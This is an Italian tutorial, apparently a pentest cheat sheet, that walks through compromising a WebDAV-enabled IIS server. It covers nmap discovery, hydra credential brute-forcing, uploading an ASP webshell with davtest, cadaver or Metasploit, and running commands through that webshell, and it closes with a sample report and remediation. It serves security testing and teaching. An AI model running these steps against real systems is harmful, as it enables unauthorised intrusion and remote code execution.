Tutorials
Exploitation
nmap -sC -sV -p 80,443 <target>
#exploitation#windows#web
🔓 WEBDAV EXPLOITATION - GUIDA DETTAGLIATA
🎯 Obiettivo: ottenere accesso remoto tramite WebDAV su server vulnerabile (es. IIS)
1. Scansione Iniziale con Nmap
bash
nmap -sC -sV -p 80,443 <target>
nmap --script http-webdav-scan,http-enum -p 80,443 <target>- Verifica se WebDAV è attivo e in quale directory.
2. Bruteforce delle Credenziali (Autenticazione 401)
Utilizzare hydra per trovare credenziali valide:
bash
hydra -L users.txt -P passwords.txt <ip> http-get /directory_con_autenticazione/3. Autenticazione e Upload con strumenti specializzati
#### ▶️ davtest
Testa la possibilità di upload di file tramite WebDAV:
bash
davtest -url http://<ip>/webdavCon autenticazione:
bash
davtest -auth user:pass -url http://<ip>/webdav#### ▶️ cadaver
Interagisce con il server WebDAV in modo simile a un FTP client:
bash
cadaver http://<ip>/webdavAutenticazione all'accesso:
bash
Username: user
Password: passEsempio di comando:
bash
put /usr/share/webshells/asp/webshell.asp#### ▶️ Metasploit
bash
use auxiliary/scanner/http/webdav_scanner
set RHOSTS <target>
runOppure eseguire direttamente l'exploit se disponibile:
bash
search type:exploit name:webdav
use exploit/windows/http/iis_webdav_upload_asp
set RHOST <target>
set RPORT 80
set USERNAME <user>
set PASSWORD <pass>
run4. Verifica della Webshell da Browser
Apri nel browser:
bash
http://<target>/webdav/webshell.aspInterfaccia per eseguire comandi remoti.
📋 Reportistica (Esempio)
- Servizio: WebDAV
- Porta: 80
- Metodi Abilitati: OPTIONS, GET, PUT, DELETE
- Autenticazione: 401, bypassata con bruteforce
- Vulnerabilità: Upload non autenticato di file ASP
- Impatto: Possibilità di eseguire codice remoto via webshell
- Rimedi: Disabilitare metodi pericolosi, usare autenticazione forte, segmentazione rete
🔎 Note Finali
WebDAV, se protetto da credenziali deboli o configurato in modo errato, può diventare una via semplice ma potente per compromettere un sistema Windows. Verificare sempre se è in uso e testarne correttamente le funzionalità.